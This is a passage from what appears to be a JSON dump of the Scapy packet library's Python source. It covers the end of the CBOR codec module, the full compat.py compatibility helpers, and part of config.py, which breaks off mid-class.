CBOR_MajorTypes.MAP\n\n    @classmethod\n    def enc(cls, obj):\n        # type: (Union[Dict[Any, Any], CBOR_Object[Dict[Any, Any]]]) -> bytes\n        from scapy.cbor.cbor import CBOR_Object\n        mapping = obj.val if isinstance(obj, CBOR_Object) else obj\n        result = CBOR_encode_head(5, len(mapping))\n        for key, value in mapping.items():\n            result += CBORcodec_Object.encode_cbor_item(key)\n            result += CBORcodec_Object.encode_cbor_item(value)\n        return result\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[Dict[Any, Any]], bytes]\n        cls.check_string(s)\n        major_type, length, remainder = CBOR_decode_head(s)\n        if major_type != 5:\n            raise CBOR_Codec_Decoding_Error(\n                \"Expected major type 5 (map), got %d\" % major_type,\n                remaining=s)\n\n        mapping = {}\n        for _ in range(length):\n            if not remainder:\n                raise CBOR_Codec_Decoding_Error(\n                    \"Not enough key-value pairs in map\", remaining=s)\n            key, remainder = CBORcodec_Object.decode_cbor_item(\n                remainder, safe=safe)\n            if not remainder:\n                raise CBOR_Codec_Decoding_Error(\n                    \"Map key without value\", remaining=s)\n            value, remainder = CBORcodec_Object.decode_cbor_item(\n                remainder, safe=safe)\n            # Convert key to hashable type if it's a CBOR object\n            if isinstance(key, CBOR_Object):\n                key_val = key.val\n            else:\n                key_val = key\n            mapping[key_val] = value\n\n        return cls.cbor_object(mapping), remainder\n\n\nclass CBORcodec_SEMANTIC_TAG(CBORcodec_Object[Tuple[int, Any]]):\n    \"\"\"CBOR semantic tag codec (major type 6)\"\"\"\n    tag = CBOR_MajorTypes.TAG\n\n    @classmethod\n    def enc(cls, obj):\n        # type: (Union[Tuple[int, Any], CBOR_Object[Tuple[int, Any]]]) -> bytes\n        from scapy.cbor.cbor import CBOR_Object\n        tagged_item = obj.val if isinstance(obj, CBOR_Object) else obj\n        tag_num, item = tagged_item\n        result = CBOR_encode_head(6, tag_num)\n        result += CBORcodec_Object.encode_cbor_item(item)\n        return result\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[Tuple[int, Any]], bytes]\n        cls.check_string(s)\n        major_type, tag_num, remainder = CBOR_decode_head(s)\n        if major_type != 6:\n            raise CBOR_Codec_Decoding_Error(\n                \"Expected major type 6 (tag), got %d\" % major_type,\n                remaining=s)\n\n        if not remainder:\n            raise CBOR_Codec_Decoding_Error(\n                \"Tag without following item\", remaining=s)\n\n        item, remainder = CBORcodec_Object.decode_cbor_item(\n            remainder, safe=safe)\n        return cls.cbor_object((tag_num, item)), remainder\n\n\nclass CBORcodec_SIMPLE_AND_FLOAT(CBORcodec_Object[Union[int, float, bool, None]]):\n    \"\"\"CBOR simple values and floats codec (major type 7)\"\"\"\n    tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT\n\n    @classmethod\n    def enc(cls, obj):\n        # type: (Union[int, float, bool, None, CBOR_Object[Any]]) -> bytes\n        from scapy.cbor.cbor import (\n            CBOR_FALSE, CBOR_TRUE, CBOR_NULL, CBOR_UNDEFINED, CBOR_Object\n        )\n\n        # Check if obj is a CBOR object instance (for special cases like UNDEFINED)\n        if isinstance(obj, CBOR_UNDEFINED):\n            return chb(0xf7)  # undefined\n        elif isinstance(obj, CBOR_NULL):\n            return chb(0xf6)  # null\n        elif isinstance(obj, CBOR_TRUE):\n            return chb(0xf5)  # true\n        elif isinstance(obj, CBOR_FALSE):\n            return chb(0xf4)  # false\n        elif isinstance(obj, CBOR_Object):\n            # For other CBOR objects, use their val attribute\n            val = obj.val\n        else:\n            val = obj\n\n        if val is False:\n            return chb(0xf4)  # false\n        elif val is True:\n            return chb(0xf5)  # true\n        elif val is None:\n            return chb(0xf6)  # null\n        elif isinstance(val, float):\n            # Encode as double precision (8 bytes)\n            return chb(0xfb) + struct.pack(\">d\", val)\n        elif isinstance(val, int) and 0 <= val <= 23:\n            # Simple value 0-23\n            return CBOR_encode_head(7, val)\n        else:\n            raise CBOR_Codec_Encoding_Error(\n                \"Cannot encode value as simple/float: %r\" % val)\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[Any], bytes]\n        from scapy.cbor.cbor import (\n            CBOR_FALSE, CBOR_TRUE, CBOR_NULL, CBOR_UNDEFINED,\n            CBOR_FLOAT, CBOR_SIMPLE_VALUE\n        )\n\n        cls.check_string(s)\n\n        # For major type 7, we need special handling because additional_info\n        # encodes different things (simple values vs float sizes)\n        initial_byte = orb(s[0])\n        major_type = initial_byte >> 5\n        additional_info = initial_byte & 0x1f\n\n        if major_type != 7:\n            raise CBOR_Codec_Decoding_Error(\n                \"Expected major type 7 (simple/float), got %d\" % major_type,\n                remaining=s)\n\n        # Check for special simple values (encoded directly in additional_info)\n        if additional_info == 20:\n            return CBOR_FALSE(), s[1:]\n        elif additional_info == 21:\n            return CBOR_TRUE(), s[1:]\n        elif additional_info == 22:\n            return CBOR_NULL(), s[1:]\n        elif additional_info == 23:\n            return CBOR_UNDEFINED(), s[1:]\n        elif additional_info == 25:\n            # Half precision float (2 bytes) - IEEE 754 binary16\n            if len(s) < 3:\n                raise CBOR_Codec_Decoding_Error(\n                    \"Not enough bytes for half float\", remaining=s)\n            half_bytes = s[1:3]\n            remainder = s[3:]\n            # Convert IEEE 754 binary16 to binary64 (double)\n            half_int = struct.unpack(\">H\", half_bytes)[0]\n            sign = (half_int >> 15) & 0x1\n            exponent = (half_int >> 10) & 0x1f\n            fraction = half_int & 0x3ff\n\n            # Handle special cases\n            if exponent == 0:\n                if fraction == 0:\n                    # Zero\n                    float_val = -0.0 if sign else 0.0\n                else:\n                    # Subnormal number\n                    float_val = ((-1) ** sign) * (fraction / 1024.0) * (2 ** -14)\n            elif exponent == 31:\n                if fraction == 0:\n                    # Infinity\n                    float_val = float('-inf') if sign else float('inf')\n                else:\n                    # NaN\n                    float_val = float('nan')\n            else:\n                # Normalized number\n                float_val = (\n                    ((-1) ** sign) *\n                    (1 + fraction / 1024.0) *\n                    (2 ** (exponent - 15)))\n\n            return CBOR_FLOAT(float_val), remainder\n        elif additional_info == 26:\n            # Single precision float (4 bytes)\n            if len(s) < 5:\n                raise CBOR_Codec_Decoding_Error(\n                    \"Not enough bytes for single float\", remaining=s)\n            float_val = struct.unpack(\">f\", s[1:5])[0]\n            return CBOR_FLOAT(float_val), s[5:]\n        elif additional_info == 27:\n            # Double precision float (8 bytes)\n            if len(s) < 9:\n                raise CBOR_Codec_Decoding_Error(\n                    \"Not enough bytes for double float\", remaining=s)\n            float_val = struct.unpack(\">d\", s[1:9])[0]\n            return CBOR_FLOAT(float_val), s[9:]\n        elif additional_info < 24:\n            # Simple value 0-23\n            return CBOR_SIMPLE_VALUE(additional_info), s[1:]\n        else:\n            # additional_info 24 means 1-byte simple value follows\n            if additional_info == 24:\n                if len(s) < 2:\n                    raise CBOR_Codec_Decoding_Error(\n                        \"Not enough bytes for simple value\", remaining=s)\n                return CBOR_SIMPLE_VALUE(orb(s[1])), s[2:]\n            else:\n                raise CBOR_Codec_Decoding_Error(\n                    \"Invalid additional info for major type 7: %d\" % additional_info,\n                    remaining=s)\n\n\n# Helper methods for encoding/decoding arbitrary CBOR items\n\n\ndef _encode_cbor_item(item):\n    # type: (Any) -> bytes\n    \"\"\"Encode a Python value to CBOR bytes\"\"\"\n    from scapy.cbor.cbor import CBOR_Object\n\n    if isinstance(item, CBOR_Object):\n        return item.enc()\n    elif isinstance(item, bool):\n        # Must check bool before int (bool is subclass of int)\n        return CBORcodec_SIMPLE_AND_FLOAT.enc(item)\n    elif isinstance(item, int):\n        if item >= 0:\n            return CBORcodec_UNSIGNED_INTEGER.enc(item)\n        else:\n            return CBORcodec_NEGATIVE_INTEGER.enc(item)\n    elif isinstance(item, bytes):\n        return CBORcodec_BYTE_STRING.enc(item)\n    elif isinstance(item, str):\n        return CBORcodec_TEXT_STRING.enc(item)\n    elif isinstance(item, list):\n        return CBORcodec_ARRAY.enc(item)\n    elif isinstance(item, dict):\n        return CBORcodec_MAP.enc(item)\n    elif isinstance(item, float):\n        return CBORcodec_SIMPLE_AND_FLOAT.enc(item)\n    elif item is None:\n        return CBORcodec_SIMPLE_AND_FLOAT.enc(None)\n    else:\n        raise CBOR_Codec_Encoding_Error(\n            \"Cannot encode type: %s\" % type(item))\n\n\ndef _decode_cbor_item(s, safe=False):\n    # type: (bytes, bool) -> Tuple[CBOR_Object[Any], bytes]\n    \"\"\"Decode CBOR bytes to a CBOR_Object\"\"\"\n    if not s:\n        raise CBOR_Codec_Decoding_Error(\"Empty CBOR data\", remaining=s)\n\n    initial_byte = orb(s[0])\n    major_type = initial_byte >> 5\n\n    # Dispatch to appropriate codec based on major type\n    if major_type == 0:\n        return CBORcodec_UNSIGNED_INTEGER.dec(s, safe=safe)\n    elif major_type == 1:\n        return CBORcodec_NEGATIVE_INTEGER.dec(s, safe=safe)\n    elif major_type == 2:\n        return CBORcodec_BYTE_STRING.dec(s, safe=safe)\n    elif major_type == 3:\n        return CBORcodec_TEXT_STRING.dec(s, safe=safe)\n    elif major_type == 4:\n        return CBORcodec_ARRAY.dec(s, safe=safe)\n    elif major_type == 5:\n        return CBORcodec_MAP.dec(s, safe=safe)\n    elif major_type == 6:\n        return CBORcodec_SEMANTIC_TAG.dec(s, safe=safe)\n    elif major_type == 7:\n        return CBORcodec_SIMPLE_AND_FLOAT.dec(s, safe=safe)\n    else:\n        raise CBOR_Codec_Decoding_Error(\n            \"Invalid major type: %d\" % major_type, remaining=s)\n\n\n# Add helper methods to CBORcodec_Object\nCBORcodec_Object.encode_cbor_item = staticmethod(_encode_cbor_item)\nCBORcodec_Object.decode_cbor_item = staticmethod(_decode_cbor_item)\n"
  },
  {
    "path": "scapy/compat.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nCompatibility module to various older versions of Python\n\"\"\"\n\nimport base64\nimport binascii\nimport enum\nimport struct\nimport sys\n\nfrom typing import (\n    Any,\n    AnyStr,\n    Callable,\n    Optional,\n    TypeVar,\n    TYPE_CHECKING,\n    Union,\n)\n\n# Very important: will issue typing errors otherwise\n__all__ = [\n    # typing\n    'DecoratorCallable',\n    'Literal',\n    'Protocol',\n    'Self',\n    'UserDict',\n    # compat\n    'base64_bytes',\n    'bytes_base64',\n    'bytes_encode',\n    'bytes_hex',\n    'chb',\n    'hex_bytes',\n    'orb',\n    'plain_str',\n    'raw',\n    'StrEnum',\n]\n\n# Typing compatibility\n\n# Note:\n# supporting typing on multiple python versions is a nightmare.\n# we provide a FakeType class to be able to use types added on\n# later Python versions (since we run mypy on 3.14), on older\n# ones.\n\n\n# Import or create fake types\n\ndef _FakeType(name, cls=object):\n    # type: (str, Optional[type]) -> Any\n    class _FT(object):\n        def __init__(self, name):\n            # type: (str) -> None\n            self.name = name\n\n        # make the objects subscriptable indefinitely\n        def __getitem__(self, item):  # type: ignore\n            return cls\n\n        def __call__(self, *args, **kargs):\n            # type: (*Any, **Any) -> Any\n            if isinstance(args[0], str):\n                self.name = args[0]\n            return self\n\n        def __repr__(self):\n            # type: () -> str\n            return \"<Fake typing.%s>\" % self.name\n    return _FT(name)\n\n\n# Python 3.8 Only\nif sys.version_info >= (3, 8):\n    from typing import Literal\n    from typing import Protocol\nelse:\n    Literal = _FakeType(\"Literal\")\n\n    class Protocol:\n        pass\n\n\n# Python 3.9 Only\nif sys.version_info >= (3, 9):\n    from collections import UserDict\nelse:\n    from collections import UserDict as _UserDict\n    UserDict = _FakeType(\"_UserDict\", _UserDict)\n\n\n# Python 3.11 Only\nif sys.version_info >= (3, 11):\n    from typing import Self\nelse:\n    Self = _FakeType(\"Self\")\n\n\n# Python 3.11 Only\nif sys.version_info >= (3, 11):\n    from enum import StrEnum\nelse:\n    class StrEnum(str, enum.Enum):\n        pass\n\n\n###########\n# Python3 #\n###########\n\n# https://mypy.readthedocs.io/en/stable/generics.html#declaring-decorators\nDecoratorCallable = TypeVar(\"DecoratorCallable\", bound=Callable[..., Any])\n\n\n# This is ugly, but we don't want to move raw() out of compat.py\n# and it makes it much clearer\nif TYPE_CHECKING:\n    from scapy.packet import Packet\n\n\ndef raw(x):\n    # type: (Packet) -> bytes\n    \"\"\"\n    Builds a packet and returns its bytes representation.\n    This function is and will always be cross-version compatible\n    \"\"\"\n    return bytes(x)\n\n\ndef bytes_encode(x):\n    # type: (Any) -> bytes\n    \"\"\"Ensure that the given object is bytes. If the parameter is a\n        packet, raw() should be preferred.\n\n    \"\"\"\n    if isinstance(x, str):\n        return x.encode()\n    return bytes(x)\n\n\ndef plain_str(x):\n    # type: (Any) -> str\n    \"\"\"Convert basic byte objects to str\"\"\"\n    if isinstance(x, bytes):\n        return x.decode(errors=\"backslashreplace\")\n    return str(x)\n\n\ndef chb(x):\n    # type: (int) -> bytes\n    \"\"\"Same than chr() but encode as bytes.\"\"\"\n    return struct.pack(\"!B\", x)\n\n\ndef orb(x):\n    # type: (Union[int, str, bytes]) -> int\n    \"\"\"Return ord(x) when not already an int.\"\"\"\n    if isinstance(x, int):\n        return x\n    return ord(x)\n\n\ndef bytes_hex(x):\n    # type: (AnyStr) -> bytes\n    \"\"\"Hexify a str or a bytes object\"\"\"\n    return binascii.b2a_hex(bytes_encode(x))\n\n\ndef hex_bytes(x):\n    # type: (AnyStr) -> bytes\n    \"\"\"De-hexify a str or a byte object\"\"\"\n    return binascii.a2b_hex(bytes_encode(x))\n\n\ndef int_bytes(x, size):\n    # type: (int, int) -> bytes\n    \"\"\"Convert an int to an arbitrary sized bytes string\"\"\"\n    return x.to_bytes(size, byteorder='big')\n\n\ndef bytes_int(x):\n    # type: (bytes) -> int\n    \"\"\"Convert an arbitrary sized bytes string to an int\"\"\"\n    return int.from_bytes(x, \"big\")\n\n\ndef base64_bytes(x):\n    # type: (AnyStr) -> bytes\n    \"\"\"Turn base64 into bytes\"\"\"\n    return base64.decodebytes(bytes_encode(x))\n\n\ndef bytes_base64(x):\n    # type: (AnyStr) -> bytes\n    \"\"\"Turn bytes into base64\"\"\"\n    return base64.encodebytes(bytes_encode(x)).replace(b'\\n', b'')\n"
  },
  {
    "path": "scapy/config.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nImplementation of the configuration object.\n\"\"\"\n\nimport atexit\nimport copy\nimport functools\nimport os\nimport pathlib\nimport re\nimport socket\nimport sys\nimport time\nimport warnings\n\nfrom dataclasses import dataclass\nfrom enum import Enum\n\nimport importlib\nimport importlib.abc\nimport importlib.util\n\nimport scapy\nfrom scapy import VERSION\nfrom scapy.base_classes import BasePacket\nfrom scapy.consts import DARWIN, WINDOWS, LINUX, BSD, SOLARIS\nfrom scapy.error import (\n    log_loading,\n    log_scapy,\n    ScapyInvalidPlatformException,\n    warning,\n)\nfrom scapy.themes import ColorTheme, NoTheme, apply_ipython_style\n\n# Typing imports\nfrom typing import (\n    cast,\n    Any,\n    Callable,\n    Dict,\n    Iterator,\n    List,\n    NoReturn,\n    Optional,\n    Set,\n    Tuple,\n    Type,\n    Union,\n    overload,\n    TYPE_CHECKING,\n)\nfrom types import ModuleType\nfrom scapy.compat import DecoratorCallable\n\nif TYPE_CHECKING:\n    # Do not import at runtime\n    import scapy.as_resolvers\n    from scapy.modules.nmap import NmapKnowledgeBase\n    from scapy.packet import Packet\n    from scapy.supersocket import SuperSocket  # noqa: F401\n    import scapy.asn1.asn1\n    import scapy.asn1.mib\n\n############\n#  Config  #\n############\n\n\nclass ConfClass(object):\n    def configure(self, cnf):\n        # type: (ConfClass) -> None\n        self.__dict__ = cnf.__dict__.copy()\n\n    def __repr__(self):\n        # type: () -> str\n        return str(self)\n\n    def __str__(self):\n        # type: () -> str\n        s = \"\"\n        dkeys = self.__class__.__dict__.copy()\n        dkeys.update(self.__dict__)\n        keys = sorted(dkeys)\n        for i in keys:\n            if i[0] != \"_\":\n                r = repr(getattr(self, i))\n                r = \" \".join(r.split())\n                wlen = 76 - max(len(i), 10)\n                if len(r) > wlen:\n                    r = r[:wlen - 3] + \"...\"\n                s += \"%-10s = %s\\n\" % (i, r)\n        return s[:-1]\n\n\nclass Interceptor(object):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Any\n                 hook,  # type: Callable[..., Any]\n                 args=None,  # type: Optional[List[Any]]\n                 kargs=None  # type: Optional[Dict[str, Any]]\n                 ):\n        # type: (...) -> None\n        self.name = name\n        self.intname = \"_intercepted_%s\" % name\n        self.default = default\n        self.hook = hook\n        self.args = args if args is not None else []\n        self.kargs = kargs if kargs is not None else {}\n\n    def __get__(self, obj, typ=None):\n        # type: (Conf, Optional[type]) -> Any\n        if not hasattr(obj, self.intname):\n            setattr(obj, self.intname, self.default)\n        return getattr(obj, self.intname)\n\n    @staticmethod\n    def set_from_hook(obj, name, val):\n        # type: (Conf, str, bool) -> None\n        int_name = \"_intercepted_%s\" % name\n        setattr(obj, int_name, val)\n\n    def __set__(self, obj, val):\n        # type: (Conf, Any) -> None\n        old = getattr(obj, self.intname, self.default)\n        val = self.hook(self.name, val, old, *self.args, **self.kargs)\n        setattr(obj, self.intname, val)\n\n\ndef _readonly(name):\n    # type: (str) -> NoReturn\n    default = Conf.__dict__[name].default\n    Interceptor.set_from_hook(conf, name, default)\n    raise ValueError(\"Read-only value !\")\n\n\nReadOnlyAttribute = functools.partial(\n    Interceptor,\n    hook=(lambda name, *args, **kwargs: _readonly(name))\n)\nReadOnlyAttribute.__doc__ = \"Read-only class attribute\"\n\n\nclass ProgPath(ConfClass):\n    _default: str = \"<System default>\"\n    universal_open: str = \"open\" if DARWIN else \"xdg-open\"\n    pdfreader: str = universal_open\n    psreader: str = universal_open\n    svgreader: str = universal_open\n    dot: str = \"dot\"\n    display: str = \"display\"\n    tcpdump: str = \"tcpdump\"\n    tcpreplay: str = \"tcpreplay\"\n    hexedit: str = \"hexer\"\n    tshark: str = \"tshark\"\n    wireshark: str = \"wireshark\"\n    ifconfig: str = \"ifconfig\"\n    extcap_folders: List[str] = [\n        os.path.join(os.path.expanduser(\"~\"), \".config\", \"wireshark\", \"extcap\"),\n        \"/usr/lib/x86_64-linux-gnu/wireshark/extcap\",\n    ]\n\n\nclass ConfigFieldList:\n    def __init__(self):\n        # type: () -> None\n        self.fields = set()  # type: Set[Any]\n        self.layers = set()  # type: Set[Any]\n\n    @staticmethod\n    def _is_field(f):\n        # type: (Any) -> bool\n        return hasattr(f, \"owners\")\n\n    def _recalc_layer_list(self):\n        # type: () -> None\n        self.layers = {owner for f in self.fields for owner in f.owners}\n\n    def add(self, *flds):\n        # type: (*Any) -> None\n        self.fields |= {f for f in flds if self._is_field(f)}\n        self._recalc_layer_list()\n\n    def remove(self, *flds):\n        # type: (*Any) -> None\n        self.fields -= set(flds)\n        self._recalc_layer_list()\n\n    def __contains__(self, elt):\n        # type: (Any) -> bool\n        if isinstance(elt, BasePacket):\n            return elt in self.layers\n        return elt in self.fields\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s [%s]>\" % (self.__class__.__name__, \" \".join(str(x) for x in self.fields))  # noqa: E501\n\n\nclass Emphasize(ConfigFieldList):\n    pass\n\n\nclass Resolve(ConfigFieldList):\n    pass\n\n\nclass Num2Layer:\n    def __init__(self):\n        # type: () -> None\n        self.num2layer = {}  # type: Dict[int, Type[Packet]]\n        self.layer2num = {}  # type: Dict[Type[Packet], int]\n\n    def register(self, num, layer):\n        # type: (int, Type[Packet]) -> None\n        self.register_num2layer(num, layer)\n        self.register_layer2num(num, layer)\n\n    def register_num2layer(self, num, layer):\n        # type: (int, Type[Packet]) -> None\n        self.num2layer[num] = layer\n\n    def register_layer2num(self, num, layer):\n        # type: (int, Type[Packet]) -> None\n        self.layer2num[layer] = num\n\n    @overload\n    def __getitem__(self, item):\n        # type: (Type[Packet]) -> int\n        pass\n\n    @overload\n    def __getitem__(self, item):  # noqa: F811\n        # type: (int) -> Type[Packet]\n        pass\n\n    def __getitem__(self, item):  # noqa: F811\n        # type: (Union[int, Type[Packet]]) -> Union[int, Type[Packet]]\n        if isinstance(item, int):\n            return self.num2layer[item]\n        else:\n            return self.layer2num[item]\n\n    def __contains__(self, item):\n        # type: (Union[int, Type[Packet]]) -> bool\n        if isinstance(item, int):\n            return item in self.num2layer\n        else:\n            return item in self.layer2num\n\n    def get(self,\n            item,  # type: Union[int, Type[Packet]]\n            default=None,  # type: Optional[Type[Packet]]\n            ):\n        # type: (...) -> Optional[Union[int, Type[Packet]]]\n        return self[item] if item in self else default\n\n    def __repr__(self):\n        # type: () -> str\n        lst = []\n        for num, layer in self.num2layer.items():\n            if layer in self.layer2num and self.layer2num[layer] == num:\n                dir = \"<->\"\n            else:\n                dir = \" ->\"\n            lst.append((num, \"%#6x %s %-20s (%s)\" % (num, dir, layer.__name__,\n                                                     layer._name)))\n        for layer, num in self.layer2num.items():\n            if num not in self.num2layer or self.num2layer[num] != layer:\n                lst.append((num, \"%#6x <-  %-20s (%s)\" % (num, layer.__name__,\n                                                          layer._name)))\n        lst.sort()\n        return \"\\n\".join(y for x, y in lst)\n\n\nclass LayersList(List[Type['scapy.packet.Packet']]):\n    def __init__(self):\n        # type: () -> None\n        list.__init__(self)\n        self.ldict = {}  # type: Dict[str, List[Type[Packet]]]\n        self.filtered = False\n        self._backup_dict = {}  # type: Dict[Type[Packet], List[Tuple[Dict[str, Any], Type[Packet]]]]  # noqa: E501\n\n    def __repr__(self):\n        # type: () -> str\n        return \"\\n\".join(\"%-20s: %s\" % (layer.__name__, layer.name)\n                         for layer in self)\n\n    def register(self, layer):\n        # type: (Type[Packet]) -> None\n        self.append(layer)\n\n        # Skip arch* modules\n        if layer.__module__.startswith(\"scapy.arch.\"):\n            return\n\n        # Register in module\n        if layer.__module__ not in self.ldict:\n            self.ldict[layer.__module__] = []\n        self.ldict[layer.__module__].append(layer)\n\n    def layers(self):\n        # type: () -> List[Tuple[str, str]]\n        result = []\n        # This import may feel useless, but it is required for the eval below\n        import scapy  # noqa: F401\n        try:\n            import builtins  # noqa: F401\n        except ImportError:\n            import __builtin__  # noqa: F401\n        for lay in self.ldict:\n            try:\n                doc = eval(lay).__doc__\n            except AttributeError:\n                continue\n            result.append((lay, doc.strip().split(\"\\n\")[0] if doc else lay))\n        return result\n\n    def filter(self, items):\n        # type: (List[Type[Packet]]) -> None\n        \"\"\"Disable dissection of unused layers to speed up dissection\"\"\"\n        if self.filtered:\n            raise ValueError(\"Already filtered. Please disable it first\")\n        for lay in self.ldict.values():\n            for cls in lay:\n                if cls not in self._backup_dict:\n                    self._backup_dict[cls] = cls.payload_guess[:]\n                    cls.payload_guess = [\n                        y for y in cls.payload_guess if y[1] in items\n                    ]\n        self.filtered = True\n\n    def unfilter(self):\n        # type: () -> None\n        \"\"\"Re-enable dissection for all layers\"\"\"\n        if not self.filtered:\n            raise ValueError(\"Not filtered. Please filter first\")\n        for lay in self.ldict.values():\n            for cls in lay:\n                cls.payload_guess = self._backup_dict[cls]\n        self._backup_dict.clear()\n        self.filtered = False\n\n\nclass CommandsList(List[Callable[..., Any]]):\n    def __repr__(self):\n        # type: () -> str\n        s = []\n        for li in sorted(self, key=lambda x: x.__name__):\n            doc = li.__doc__ if li.__doc__ else \"--\"\n            doc = doc.lstrip().split('\\n', 1)[0]\n            s.append(\"%-22s: %s\" % (li.__name__, doc))\n        return \"\\n\".join(s)\n\n    def register(self, cmd):\n        # type: (DecoratorCallable) -> DecoratorCallable\n        self.append(cmd)\n        return cmd  # return cmd so that method can be used as a decorator\n\n\ndef lsc():\n    # type: () -> None\n    \"\"\"Displays Scapy's default commands\"\"\"\n    print(repr(conf.commands))\n\n\nclass CacheInstance(Dict[str, Any]):\n    __slots__ = [\"timeout\", \"name\", \"_timetable\"]\n\n    def __init__(self, name=\"noname\", timeout=None):\n        # type: (str, Optional[int]) -> None\n        self.timeout = timeout\n        self.name = name\n        self._timetable = {}  # type: Dict[str, float]\n\n    def flush(self):\n        # type: () -> None\n        self._timetable.clear()\n        self.clear()\n\n    def __getitem__(self, item):\n        # type: (str) -> Any\n        if item in self.__slots__:\n            return object.__getattribute__(self, item)\n        if not self.__contains__(item):\n            raise KeyError(item)\n        return super(CacheInstance, self).__getitem__(item)\n\n    def __contains__(self, item):\n        if not super(CacheInstance, self).__contains__(item):\n            return False\n        if self.timeout is not None:\n            t = self._timetable[item]\n            if time.time() - t > self.timeout:\n                return False\n        return True\n\n    def get(self, item, default=None):\n        # type: (str, Optional[Any]) -> Any\n        # overloading this method is needed to force the dict to go through\n        # the timetable check\n        try:\n            return self[item]\n        except KeyError:\n            return default\n\n    def __setitem__(self, item, v):\n        # type: (str, str) -> None\n        if item in self.__slots__:\n            return object.__setattr__(self, item, v)\n        self._timetable[item] = time.time()\n        super(CacheInstance, self).__setitem__(item, v)\n\n    def update(self,\n               other,  # type: Any\n               **kwargs  # type: Any\n               ):\n        # type: (...) -> None\n        for key, value in other.items():\n            # We only update an element from `other` either if it does\n            # not exist in `self` or if the entry in `self` is older.\n            if key not in self or self._timetable[key] < other._timetable[key]:\n                dict.__setitem__(self, key, value)\n                self._timetable[key] = other._timetable[key]\n\n    def iteritems(self):\n        # type: () -> Iterator[Tuple[str, Any]]\n        if self.timeout is None:\n            return super(CacheInstance, self).items()\n        t0 = time.time()\n        return (\n            (k, v)\n            for (k, v) in super(CacheInstance, self).items()\n            if t0 - self._timetable[k] < self.timeout\n        )\n\n    def iterkeys(self):\n        # type: () -> Iterator[str]\n        if self.timeout is None:\n            return super(CacheInstance, self).keys()\n        t0 = time.time()\n        return (\n            k\n            for k in super(CacheInstance, self).keys()\n            if t0 - self._timetable[k] < self.timeout\n        )\n\n    def __iter__(self):\n        # type: () -> Iterator[str]\n        return self.iterkeys()\n\n    def itervalues(self):\n        # type: () -> Iterator[Tuple[str, Any]]\n        if self.timeout is None:\n            return super(CacheInstance, self).values()\n        t0 = time.time()\n        return (\n            v\n            for (k, v) in super(CacheInstance, self).items()\n            if t0 - self._timetable[k] < self.timeout\n        )\n\n    def items(self):\n        # type: () -> Any\n        return list(self.iteritems())\n\n    def keys(self):\n        # type: () -> Any\n        return list(self.iterkeys())\n\n    def values(self):\n        # type: () -> Any\n        return list(self.itervalues())\n\n    def __len__(self):\n        # type: () -> int\n        if self.timeout is None:\n            return super(CacheInstance, self).__len__()\n        return len(self.keys())\n\n    def summary(self):\n        # type: () -> str\n        return \"%s: %i valid items. Timeout=%rs\" % (self.name, len(self), self.timeout)  # noqa: E501\n\n    def __repr__(self):\n        # type: () -> str\n        s = []\n        if self:\n            mk = max(len(k) for k in self)\n            fmt = \"%%-%is %%s\" % (mk + 1)\n            for item in self.items():\n                s.append(fmt % item)\n        return \"\\n\".join(s)\n\n    def copy(self):\n        # type: () -> CacheInstance\n        return copy.copy(self)\n\n\nclass NetCache:\n    def __init__(self):\n        # type: () -> None\n        self._caches_list = []  # type: List[CacheInstance]\n\n    def add_cache(self, cache):\n        # type: (CacheInstance) -> None\n        self._caches_list.append(cache)\n        setattr(self, cache.name, cache)\n\n    def new_cache(self, name, timeout=None):\n        # type: (str, Optional[int]) -> CacheInstance\n        c = CacheInstance(name=name, timeout=timeout)\n        self.add_cache(c)\n        return c\n\n    def __delattr__(self, attr):\n        # type: (str) -> NoReturn\n        raise AttributeError(\"Cannot delete attributes\")\n\n    def update(self, other):\n        # type: (NetCache) -> None\n        for co in other._caches_list:\n            if hasattr(self, co.name):\n                getattr(self, co.name).update(co)\n            else:\n                self.add_cache(co.copy())\n\n    def flush(self):\n        # type: () -> None\n        for c in self._caches_list:\n            c.flush()\n\n    def __repr__(self):\n        # type: () -> str\n        return \"\\n\".join(c.summary() for c in self._caches_list)\n\n\nclass ScapyExt:\n    __slots__ = [\"specs\", \"name\", \"version\", \"bash_completions\"]\n\n    class MODE(Enum):\n        LAYERS = \"layers\"\n        CONTRIB = \"contrib\"\n        MODULES = \"modules\"\n\n    @dataclass\n    class ScapyExtSpec:\n        fullname: str\n        mode: 'ScapyExt.MODE'\n        spec: Any\n        default: bool\n\n    def __init__(self):\n        self.specs: Dict[str, 'ScapyExt.ScapyExtSpec'] = {}\n        self.bash_completions = {}\n\n    def config(self, name, version):\n        self.name = name\n        self.version = version\n\n    def register(self, name, mode, path, default=None):\n        assert mode in self.MODE, \"mode must be one of ScapyExt.MODE !\"\n        fullname = f\"scapy.{mode.value}.{name}\"\n        spec = importlib.util.spec_from_file_location(\n            fullname,\n            str(path),\n        )\n        spec = self.ScapyExtSpec(\n            fullname=fullname,\n            mode=mode,\n            spec=spec,\n            default=default or False,\n        )\n        if default is None:\n            spec.default = bool(importlib.util.find_spec(spec.fullname))\n        self.specs[fullname] = spec\n\n    def register_bashcompletion(self, script: pathlib.Path):\n        self.bash_completions[script.name] = script\n\n    def __repr__(self):\n        return \"<ScapyExt %s %s (%s specs)>\" % (\n            self.name,\n            self.version,\n            len(self.specs),\n        )\n\n\nclass ExtsManager(importlib.abc.MetaPathFinder):\n    __slots__ = [\"exts\", \"all_specs\"]\n\n    GPLV2_LICENCES = [\n        \"GPL-2.0-only\",\n        \"GPL-2.0-or-later\",\n    ]\n\n    def __init__(self):\n        self.exts: List[ScapyExt] = []\n        self.all_specs: Dict[str, ScapyExt.ScapyExtSpec] = {}\n        self._loaded: List[str] = []\n        # Add to meta_path as we are an 